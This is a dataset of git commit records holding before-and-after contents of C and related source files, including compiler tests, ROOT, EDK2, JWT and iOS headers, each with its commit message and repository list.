intrinsics\n","lang":"C","license":"bsd-2-clause","repos":"JuliaPackageMirrors\/ParallelAccelerator.jl,IntelLabs\/ParallelAccelerator.jl,malekbr\/julia-to-tiramisu"}
{"commit":"057101774bb1130712d69607015dfc13df81256d","old_file":"src\/template.c","new_file":"src\/template.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <unistd.h>\n#include <errno.h>\n#include <sys\/stat.h>\n\noff_t get_file_size(const char *filename) {\n    struct stat buffer;\n    return (stat(filename, &buffer)==0 ? buffer.st_size : -1);\n}\n\nint file_is_readable(char *filename) {\n    if ( access(filename, R_OK) != -1 ) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\nint main(int argc, char *argv[]) {\n    clock_t t0, t1;\n\n    if (argc <= 1) {\n        printf(\"Usage: %s [arguments]\\n\", argv[0]);\n         return EXIT_FAILURE;\n    }\n\n    t0 = clock();\n    printf(\"Hello World!\\n\");\n    if (file_is_readable(argv[1])) {\n        printf(\"Input File = '%s'\\n\", argv[1]);\n    } else {\n        printf(\"Input File = '%s' (file does not exist or read permissions absent)\\n\", argv[1]);\n    }\n    t1 = clock();\n    printf(\"Time elapsed = %f (ms)\\n\", (t1-t0)*1000\/(double)CLOCKS_PER_SEC );\n    return EXIT_SUCCESS;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <unistd.h>\n#include <errno.h>\n#include <sys\/stat.h>\n\noff_t get_file_size(const char *filename) {\n    struct stat buffer;\n    return (stat(filename, &buffer)==0 ? buffer.st_size : -1);\n}\n\nint file_is_readable(char *filename) {\n    if ( access(filename, R_OK) != -1 ) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\nint main(int argc, char *argv[]) {\n    clock_t t0, t1;\n\n    if (argc <= 1) {\n        printf(\"Usage: %s [arguments]\\n\", argv[0]);\n        return EXIT_FAILURE;\n    }\n\n    t0 = clock();\n    printf(\"Hello World!\\n\");\n    if (file_is_readable(argv[1])) {\n        printf(\"Input File = '%s'\\n\", argv[1]);\n        printf(\"File size is %lld\\n\", get_file_size(argv[1]));\n    } else {\n        printf(\"Input File = '%s' (file does not exist or read permissions absent)\\n\", argv[1]);\n    }\n    t1 = clock();\n    printf(\"Time elapsed = %f (ms)\\n\", (t1-t0)*1000\/(double)CLOCKS_PER_SEC );\n    return EXIT_SUCCESS;\n}\n","subject":"Add printing of file size","message":"Add printing of file size\n","lang":"C","license":"apache-2.0","repos":"nathanielng\/code-templates,nathanielng\/code-templates,nathanielng\/code-templates"}
{"commit":"5146b6a58c922e99626f9c8a9f8bd7d042ab7536","old_file":"hist\/inc\/TH1I.h","new_file":"hist\/inc\/TH1I.h","old_contents":"\/\/ @(#)root\/hist:$Name:  $:$Id: TH1I.h,v 1.1 2002\/05\/18 11:02:49 brun Exp $\n\/\/ Author: Rene Brun   08\/09\/2003\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TH1I\n#define ROOT_TH1I\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TH1I                                                                 \/\/\n\/\/                                                                      \/\/\n\/\/ 1-Dim histogram with a 4 bits integer per channel                    \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_TH1\n#include \"TH1.h\"\n#endif\n\n#endif\n","new_contents":"\/\/ @(#)root\/hist:$Name:  $:$Id: TH1I.h,v 1.1 2003\/09\/08 12:50:23 brun Exp $\n\/\/ Author: Rene Brun   08\/09\/2003\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TH1I\n#define ROOT_TH1I\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TH1I                                                                 \/\/\n\/\/                                                                      \/\/\n\/\/ 1-Dim histogram with a 32 bits integer per channel                   \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_TH1\n#include \"TH1.h\"\n#endif\n\n#endif\n","subject":"Fix a typo (thanks to Robert Hatcher)","message":"Fix a typo (thanks to Robert Hatcher)\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@10919 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT"}
{"commit":"ba9bc2d01d0b260f73b1eb087afc057bb3538eb5","old_file":"MBTA-APIs\/Services\/MBTA-v2\/ServiceMBTA_sensitive.h","new_file":"MBTA-APIs\/Services\/MBTA-v2\/ServiceMBTA_sensitive.h","old_contents":"\/\/\n\/\/  ServiceMBTA_sensitive.h\n\/\/  MBTA-APIs\n\/\/\n\/\/  Created by Steve Caine on 01\/05\/115.\n\/\/  Copyright (c) 2015 Steve Caine. All rights reserved.\n\/\/\n\n\/\/ your private key to the MBTA-v2 API goes here\n\n#define key_MBTA_v2_API\t@\"\"\n\n\/\/ you should not commit any version of this file that contains the key\n\/\/ to any source-control repository that will be made public or otherwise shared","new_contents":"\/\/\n\/\/  ServiceMBTA_sensitive.h\n\/\/  MBTA-APIs\n\/\/\n\/\/  Created by Steve Caine on 01\/05\/15.\n\/\/  Copyright (c) 2015 Steve Caine. All rights reserved.\n\/\/\n\n\/\/ your private key to the MBTA-v2 API goes here\n\n#define key_MBTA_v2_API\t@\"\"\n\n\/\/ you should not commit any version of this file that contains the key\n\/\/ to any source-control repository that will be made public or otherwise shared","subject":"Fix typo in created date.","message":"Fix typo in created date.\n","lang":"C","license":"mit","repos":"SteveCaine\/MBTA-RestKit,SteveCaine\/MBTA-RestKit"}
{"commit":"3249f48c79fefb59f834a02fb8c0acb816064610","old_file":"include\/shell.h","new_file":"include\/shell.h","old_contents":"#ifndef SHELL_H\n#define SHELL_H\n\n#include <stdbool.h>\n\n#define report_error() fprintf(stderr, \"[%s: %s():%d] %s\\n\", __FILE__, \\\n        \t__FUNCTION__, \\\n        \t__LINE__, \\\n        \tstrerror(errno));\n\n#define sizeof_array(x) (sizeof(x) \/ sizeof(*x))\n\n#define DEFAULT_PROMPT \t\"$ \"\n#define DEFAULT_PATH \t\"\/bin:\/usr\/bin\/:\/sbin\/:\/usr\/local\/bin\"\n#define DEFAULT_HOME \t\"\/\"\n\ntypedef struct command_t{\n    \tchar **array;\n    \tunsigned int elements;\n}command_t;\n\ntypedef struct shell_t{\n\tbool running;\n\tstruct environ_t *env;\n\tpid_t shell_pid;\n\tchar *pwd;\n}shell_t;\n\nchar *copy_string(const char *str);\nunsigned int count_token(char *string, const char *token_string);\nvoid free_command(command_t *command);\ncommand_t *parse(char *line);\nint change_shell_dir(char *path);\nint execute_builtins(char **input);\nint execute_command(command_t *c);\n\n#endif\n","new_contents":"#ifndef SHELL_H\n#define SHELL_H\n\n#include <stdbool.h>\n\n#define report_error() fprintf(stderr, \"[%s: %s():%d] %s\\n\", __FILE__, \\\n        \t__FUNCTION__, \\\n        \t__LINE__, \\\n        \tstrerror(errno));\n\n#define sizeof_array(x) (sizeof(x) \/ sizeof(*x))\n\ntypedef struct command_t{\n    \tchar **array;\n    \tunsigned int elements;\n}command_t;\n\ntypedef struct shell_t{\n\tbool running;\n\tstruct environ_t *env;\n\tpid_t shell_pid;\n\tchar *pwd;\n}shell_t;\n\nchar *copy_string(const char *str);\nunsigned int count_token(char *string, const char *token_string);\nvoid free_command(command_t *command);\ncommand_t *parse(char *line);\nint change_shell_dir(char *path);\nint execute_builtins(char **input);\nint execute_command(command_t *c);\n\n#endif\n","subject":"Remove double definition of default env variables","message":"Remove double definition of default env variables\n","lang":"C","license":"mit","repos":"tywkeene\/Shell"}
{"commit":"d95a2b00d4fb8f00865295192b524b3f047a2d96","old_file":"temperature.c","new_file":"temperature.c","old_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n#include \"temperature.h\"\n#include \"config.h\"\n#include \"font.h\"\n#include \"util.h\"\n#include <stdio.h>\nuint8_t get_temp(void)\n{\n\treturn xstatus_system_value(XSTATUS_SYSFILE_TEMPERATURE) \/ 1000;\n}\n\/\/ Returns x offset for next item\nuint16_t draw_temp(xcb_connection_t * xc, const uint16_t offset)\n{\n\tuint8_t sz = 4;\n\tconst struct JBDim f = xstatus_get_font_size();\n\tconst int16_t x = offset + XSTATUS_CONST_PAD;\n\t{ \/\/ buf scope\n\t\tchar buf[sz];\n\t\tsz = snprintf(buf, sz, \"%dC\", get_temp());\n\t\txcb_image_text_8(xc, sz, xstatus_get_window(xc),\n\t\t\txstatus_get_gc(xc), x, f.h, buf);\n\t}\n\treturn x + f.w * sz + XSTATUS_CONST_PAD;\n}\n","new_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n#include \"temperature.h\"\n#include \"config.h\"\n#include \"font.h\"\n#include \"util.h\"\n#include <stdio.h>\nstatic uint8_t get_temp(void)\n{\n\treturn xstatus_system_value(XSTATUS_SYSFILE_TEMPERATURE) \/ 1000;\n}\nstatic uint8_t format(char * restrict buf, const uint8_t sz)\n{\n\treturn snprintf(buf, sz, \"%dC\", get_temp());\n}\n\/\/ Returns x offset for next item\nuint16_t draw_temp(xcb_connection_t * xc, const uint16_t offset)\n{\n\tuint8_t sz = 4;\n\tconst struct JBDim f = xstatus_get_font_size();\n\tconst int16_t x = offset + XSTATUS_CONST_PAD;\n\t{ \/\/ buf scope\n\t\tchar buf[sz];\n\t\tsz = format(buf, sz);\n\t\txcb_image_text_8(xc, sz, xstatus_get_window(xc),\n\t\t\txstatus_get_gc(xc), x, f.h, buf);\n\t}\n\treturn x + f.w * sz + XSTATUS_CONST_PAD;\n}\n","subject":"Make get_temp() static. Split out format().","message":"Make get_temp() static.  Split out format().\n","lang":"C","license":"mit","repos":"jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus"}
{"commit":"2d612e6f8088ddb930dc26fc90e1ba2e3dd0284b","old_file":"test2\/vla\/standard_nonconst.c","new_file":"test2\/vla\/standard_nonconst.c","old_contents":"\/\/ RUN: %ocheck 1 '-DNULL=(void *)0'\n\/\/ RUN: %ocheck 0 '-DNULL=0'\n\nint null_is_ptr_type()\n{\n\tchar s[1][1+(int)NULL];\n\tint i = 0;\n\tsizeof s[i++];\n\treturn i;\n}\n\nmain()\n{\n\treturn null_is_ptr_type();\n}\n","new_contents":"\/\/ RUN: %ocheck 1 %s '-DNULL=(void *)0'\n\/\/ RUN: %ocheck 0 %s '-DNULL=0'\n\nint null_is_ptr_type()\n{\n\tchar s[1][1+(int)NULL];\n\tint i = 0;\n\tsizeof s[i++];\n\treturn i;\n}\n\nmain()\n{\n\treturn null_is_ptr_type();\n}\n","subject":"Fix standard-nonconst vla test commands","message":"Fix standard-nonconst vla test commands\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"0b08a3698e0cc1a26d7a85238c5035ceeb564e3a","old_file":"src\/keyimpl.h","new_file":"src\/keyimpl.h","old_contents":"#pragma once\n\n#include \"jwtxx\/jwt.h\"\n\n#include <string>\n\nnamespace JWTXX\n{\n\nstruct Key::Impl\n{\n    virtual ~Impl() {}\n    virtual std::string sign(const void* data, size_t size) const = 0;\n    virtual bool verify(const void* data, size_t size, const std::string& signature) const = 0;\n};\n\n}\n","new_contents":"#pragma once\n\n#include \"jwtxx\/jwt.h\"\n\n#include <string>\n\nnamespace JWTXX\n{\n\nstruct Key::Impl\n{\n    \/\/ Need this for polymorphic behavior.\n    virtual ~Impl() = default;\n    \/\/ Need this due to the Rule of Five.\n    Impl() = default;\n    Impl(const Impl&) = delete;\n    Impl& operator=(const Impl&) = delete;\n    Impl(Impl&&) = default;\n    Impl& operator=(Impl&&) = default;\n\n    virtual std::string sign(const void* data, size_t size) const = 0;\n    virtual bool verify(const void* data, size_t size, const std::string& signature) const = 0;\n};\n\n}\n","subject":"Enable move and disable copy for key implementations.","message":"Enable move and disable copy for key implementations.\n","lang":"C","license":"mit","repos":"madf\/jwtxx,madf\/jwtxx,RealImage\/jwtxx,RealImage\/jwtxx"}
{"commit":"c4eb3b452e12e514b75a77d2fe3caf0f64962353","old_file":"iOS\/PlayPlan\/Profile\/ProfileViewController.h","new_file":"iOS\/PlayPlan\/Profile\/ProfileViewController.h","old_contents":"\/\/\n\/\/  ProfileViewController.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/11\/8.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"PlayPlan.h\"\n\n@interface ProfileViewController : UIViewController <UITableViewDelegate, UITableViewDataSource>\n\n@end\n","new_contents":"\/\/\n\/\/  ProfileViewController.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/11\/8.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"PlayPlan.h\"\n\n@class ProfileViewController;\n\n@protocol MainDelegate <NSObject>\n\n- (void)dismissViewController:(MainViewController *)mainViewController;\n\n@end\n\n@interface ProfileViewController : UIViewController <UITableViewDelegate, UITableViewDataSource>\n\n@end\n","subject":"Add delegate for profile view controller.","message":"Add delegate for profile view controller.\n","lang":"C","license":"mit","repos":"Zeacone\/PlayPlan,Zeacone\/PlayPlan"}
{"commit":"205fdc8110e486b439b5ad280aba63f049a6b7e7","old_file":"test2\/inline\/cant.c","new_file":"test2\/inline\/cant.c","old_contents":"","new_contents":"\/\/ RUN: %check -e %s\n\n#define always_inline __attribute((always_inline))\n\nalways_inline hidden(int);\n\nvoid always_inline __attribute((noinline)) noinline(void)\n{\n}\n\nalways_inline void print(const char *fmt, ...)\n{\n}\n\nalways_inline void old(a, b)\n\tint a, b;\n{\n}\n\nalways_inline void addr(int x)\n{\n\tint *p = &x;\n\t*p = 3;\n}\n\nalways_inline void write(int x)\n{\n\tx++;\n}\n\nalways_inline void rec(int depth)\n{\n\tif(depth < 5)\n\t\trec(depth + 1); \/\/ CHECK: can't always_inline function: can't see function\n}\n\nalways_inline int should_inline()\n{\n\treturn 3;\n}\n\nmain()\n{\n\tshould_inline(); \/\/ CHECK: !\/warn|error\/\n\n\trec(0); \/\/ CHECK: !\/warn|error\/\n\n\thidden(3); \/\/ CHECK: error: can't always_inline function: can't see function\n\tnoinline(); \/\/ CHECK: error: can't always_inline noinline function\n\tprint(\"hi\", 3); \/\/ CHECK: error: can't always_inline function: variadic function\n\tprint(\"hi\"); \/\/ CHECK: error: can't always_inline function: variadic function\n\told(3, 1); \/\/ CHECK: error: can't always_inline function: unspecified argument count function\n\taddr(5); \/\/ CHECK: error: can't always_inline function: argument written or addressed\n\twrite(2); \/\/ CHECK: error: can't always_inline function: argument written or addressed\n}\n","subject":"Test inability to inline certain functions","message":"Test inability to inline certain functions\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"3c48e853eb6e6e85a4429b717620cfa9a5218867","old_file":"SecurityPkg\/Library\/PlatformSecureLibNull\/PlatformSecureLibNull.c","new_file":"SecurityPkg\/Library\/PlatformSecureLibNull\/PlatformSecureLibNull.c","old_contents":"\/** @file\r\n  Provides a secure platform-specific method to detect physically present user.\r\n\r\nCopyright (c) 2011 - 2012, Intel Corporation. All rights reserved.<BR>\r\nThis program and the accompanying materials \r\nare licensed and made available under the terms and conditions of the BSD License \r\nwhich accompanies this distribution.  The full text of the license may be found at \r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS, \r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n\/**\r\n\r\n  This function provides a platform-specific method to detect whether the platform\r\n  is operating by a physically present user. \r\n\r\n  Programmatic changing of platform security policy (such as disable Secure Boot,\r\n  or switch between Standard\/Custom Secure Boot mode) MUST NOT be possible during\r\n  Boot Services or after exiting EFI Boot Services. Only a physically present user\r\n  is allowed to perform these operations.\r\n\r\n  NOTE THAT: This function cannot depend on any EFI Variable Service since they are\r\n  not available when this function is called in AuthenticateVariable driver.\r\n  \r\n  @retval  TRUE       The platform is operated by a physically present user.\r\n  @retval  FALSE      The platform is NOT operated by a physically present user.\r\n\r\n**\/\r\nBOOLEAN\r\nEFIAPI\r\nUserPhysicalPresent (\r\n  VOID\r\n  )\r\n{\r\n  return FALSE;\r\n}\r\n","new_contents":"\/** @file\r\n  Provides a secure platform-specific method to detect physically present user.\r\n\r\nCopyright (c) 2011 - 2012, Intel Corporation. All rights reserved.<BR>\r\nThis program and the accompanying materials \r\nare licensed and made available under the terms and conditions of the BSD License \r\nwhich accompanies this distribution.  The full text of the license may be found at \r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS, \r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n\/**\r\n\r\n  This function provides a platform-specific method to detect whether the platform\r\n  is operating by a physically present user. \r\n\r\n  Programmatic changing of platform security policy (such as disable Secure Boot,\r\n  or switch between Standard\/Custom Secure Boot mode) MUST NOT be possible during\r\n  Boot Services or after exiting EFI Boot Services. Only a physically present user\r\n  is allowed to perform these operations.\r\n\r\n  NOTE THAT: This function cannot depend on any EFI Variable Service since they are\r\n  not available when this function is called in AuthenticateVariable driver.\r\n  \r\n  @retval  TRUE       The platform is operated by a physically present user.\r\n  @retval  FALSE      The platform is NOT operated by a physically present user.\r\n\r\n**\/\r\nBOOLEAN\r\nEFIAPI\r\nUserPhysicalPresent (\r\n  VOID\r\n  )\r\n{\r\n  return TRUE;\r\n}\r\n","subject":"Update the default return value of UserPhysicalPresent to TRUE.","message":"Update the default return value of UserPhysicalPresent to TRUE.\n\nSigned-off-by: Fu, Siyuan <siyuan.fu@intel.com>\nReviewed-by: Dong, Guo <guo.dong@intel.com>\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@13191 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"022915baa2aa0f7c026d22591ece0c914254b6b4","old_file":"test\/Parser\/cxx-in-c.c","new_file":"test\/Parser\/cxx-in-c.c","old_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify\n\n\/\/ PR9137\nvoid f0(int x) : {};\nvoid f1(int x) try {};\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s\n\n\/\/ PR9137\nvoid f0(int x) : {}; \/\/ expected-error{{expected function body after function declarator}}\nvoid f1(int x) try {}; \/\/ expected-error{{expected function body after function declarator}}\n","subject":"Fix test for previous commit","message":"Fix test for previous commit\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@124861 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"d3b29d4bbec8837a655dde42f2b0cdb852b2626d","old_file":"MFSideMenu\/MFSideMenuShadow.h","new_file":"MFSideMenu\/MFSideMenuShadow.h","old_contents":"\/\/\n\/\/  MFSideMenuShadow.h\n\/\/  MFSideMenuDemoSearchBar\n\/\/\n\/\/  Created by Michael Frederick on 5\/13\/13.\n\/\/  Copyright (c) 2013 Frederick Development. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface MFSideMenuShadow : NSObject\n\n@property (nonatomic, assign) BOOL enabled;\n@property (nonatomic, assign) CGFloat radius;\n@property (nonatomic, assign) CGFloat opacity;\n@property (nonatomic, strong) UIColor *color;\n@property (nonatomic, weak) UIView *shadowedView;\n\n+ (MFSideMenuShadow *)shadowWithView:(UIView *)shadowedView;\n+ (MFSideMenuShadow *)shadowWithColor:(UIColor *)color radius:(CGFloat)radius opacity:(CGFloat)opacity;\n\n- (void)draw;\n- (void)shadowedViewWillRotate;\n- (void)shadowedViewDidRotate;\n\n@end\n","new_contents":"\/\/\n\/\/  MFSideMenuShadow.h\n\/\/  MFSideMenuDemoSearchBar\n\/\/\n\/\/  Created by Michael Frederick on 5\/13\/13.\n\/\/  Copyright (c) 2013 Frederick Development. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface MFSideMenuShadow : NSObject\n\n@property (nonatomic, assign) BOOL enabled;\n@property (nonatomic, assign) CGFloat radius;\n@property (nonatomic, assign) CGFloat opacity;\n@property (nonatomic, strong) UIColor *color;\n@property (nonatomic, assign) UIView *shadowedView;\n\n+ (MFSideMenuShadow *)shadowWithView:(UIView *)shadowedView;\n+ (MFSideMenuShadow *)shadowWithColor:(UIColor *)color radius:(CGFloat)radius opacity:(CGFloat)opacity;\n\n- (void)draw;\n- (void)shadowedViewWillRotate;\n- (void)shadowedViewDidRotate;\n\n@end\n","subject":"Change weak reference to assign for backwards compatibility","message":"Change weak reference to assign for backwards compatibility\n","lang":"C","license":"bsd-3-clause","repos":"appcom-interactive\/MFSideMenu,Magnat12\/MFSideMenu,mikefrederick\/MFSideMenu,andrespch\/MFSideMenu,AxialExchange\/MFSideMenu,eleostech\/MFSideMenu"}
{"commit":"cfa529182fda9e64aaf4621800ec7e8724892737","old_file":"test\/CFrontend\/2006-07-31-PR854.c","new_file":"test\/CFrontend\/2006-07-31-PR854.c","old_contents":"\/\/ RUN: llvm-gcc %s -S -o -\n\/\/ PR854\n  struct kernel_symbol {\n    unsigned long value;\n  };\n  unsigned long loops_per_jiffy = (1<<12);\n  static const char __kstrtab_loops_per_jiffy[]\n__attribute__((section(\"__ksymtab_strings\"))) = \"loops_per_jiffy\";\n  static const struct kernel_symbol __ksymtab_loops_per_jiffy\n__attribute__((__used__)) __attribute__((section(\"__ksymtab\"))) = { (unsigned\nlong)&loops_per_jiffy, __kstrtab_loops_per_jiffy };\n","new_contents":"\/\/ RUN: %llvmgcc% %s -S -o -\n\/\/ PR854\n  struct kernel_symbol {\n    unsigned long value;\n  };\n  unsigned long loops_per_jiffy = (1<<12);\n  static const char __kstrtab_loops_per_jiffy[]\n__attribute__((section(\"__ksymtab_strings\"))) = \"loops_per_jiffy\";\n  static const struct kernel_symbol __ksymtab_loops_per_jiffy\n__attribute__((__used__)) __attribute__((section(\"__ksymtab\"))) = { (unsigned\nlong)&loops_per_jiffy, __kstrtab_loops_per_jiffy };\n","subject":"Use the %llvm-gcc% variable to find llvm-gcc for those of us that don't have it in our path and to ensure it uses the configured llvm-gcc not just any one randomly placed in the path.","message":"Use the %llvm-gcc% variable to find llvm-gcc for those of us that don't\nhave it in our path and to ensure it uses the configured llvm-gcc not just\nany one randomly placed in the path.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@29522 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"d93fae659ca26558c62dd654e24293be024408af","old_file":"test\/Index\/c-index-getCursor-pp.c","new_file":"test\/Index\/c-index-getCursor-pp.c","old_contents":"#define OBSCURE(X) X\n#define DECORATION\n\ntypedef int T;\nvoid OBSCURE(func)(int x) {\n  OBSCURE(T) DECORATION value;\n}\n\n\/\/ RUN: c-index-test -cursor-at=%s:1:11 %s | FileCheck -check-prefix=CHECK-1 %s\n\/\/ CHECK-1: macro definition=OBSCURE\n\/\/ RUN: c-index-test -cursor-at=%s:2:14 %s | FileCheck -check-prefix=CHECK-2 %s\n\/\/ CHECK-2: macro definition=DECORATION\n\/\/ RUN: c-index-test -cursor-at=%s:5:7 %s | FileCheck -check-prefix=CHECK-3 %s\n\/\/ CHECK-3: macro instantiation=OBSCURE:1:9\n\/\/ RUN: c-index-test -cursor-at=%s:6:6 %s | FileCheck -check-prefix=CHECK-4 %s\n\/\/ CHECK-4: macro instantiation=OBSCURE:1:9\n\/\/ RUN: c-index-test -cursor-at=%s:6:19 %s | FileCheck -check-prefix=CHECK-5 %s\n\/\/ CHECK-5: macro instantiation=DECORATION:2:9\n","new_contents":"#define OBSCURE(X) X\n#define DECORATION\n\ntypedef int T;\nvoid OBSCURE(func)(int x) {\n  OBSCURE(T) DECORATION value;\n}\n\n#include \"a.h\"\n\n\/\/ RUN: c-index-test -cursor-at=%s:1:11 -I%S\/Inputs %s | FileCheck -check-prefix=CHECK-1 %s\n\/\/ CHECK-1: macro definition=OBSCURE\n\/\/ RUN: c-index-test -cursor-at=%s:2:14 -I%S\/Inputs %s | FileCheck -check-prefix=CHECK-2 %s\n\/\/ CHECK-2: macro definition=DECORATION\n\/\/ RUN: c-index-test -cursor-at=%s:5:7 -I%S\/Inputs %s | FileCheck -check-prefix=CHECK-3 %s\n\/\/ CHECK-3: macro instantiation=OBSCURE:1:9\n\/\/ RUN: c-index-test -cursor-at=%s:6:6 -I%S\/Inputs %s | FileCheck -check-prefix=CHECK-4 %s\n\/\/ CHECK-4: macro instantiation=OBSCURE:1:9\n\/\/ RUN: c-index-test -cursor-at=%s:6:19 -I%S\/Inputs %s | FileCheck -check-prefix=CHECK-5 %s\n\/\/ CHECK-5: macro instantiation=DECORATION:2:9\n\/\/ RUN: c-index-test -cursor-at=%s:9:10 -I%S\/Inputs %s | FileCheck -check-prefix=CHECK-6 %s\n\/\/ CHECK-6: inclusion directive=a.h\n","subject":"Update clang_getCursor() test to check searches on include directives","message":"Update clang_getCursor() test to check searches on include directives\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@117063 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
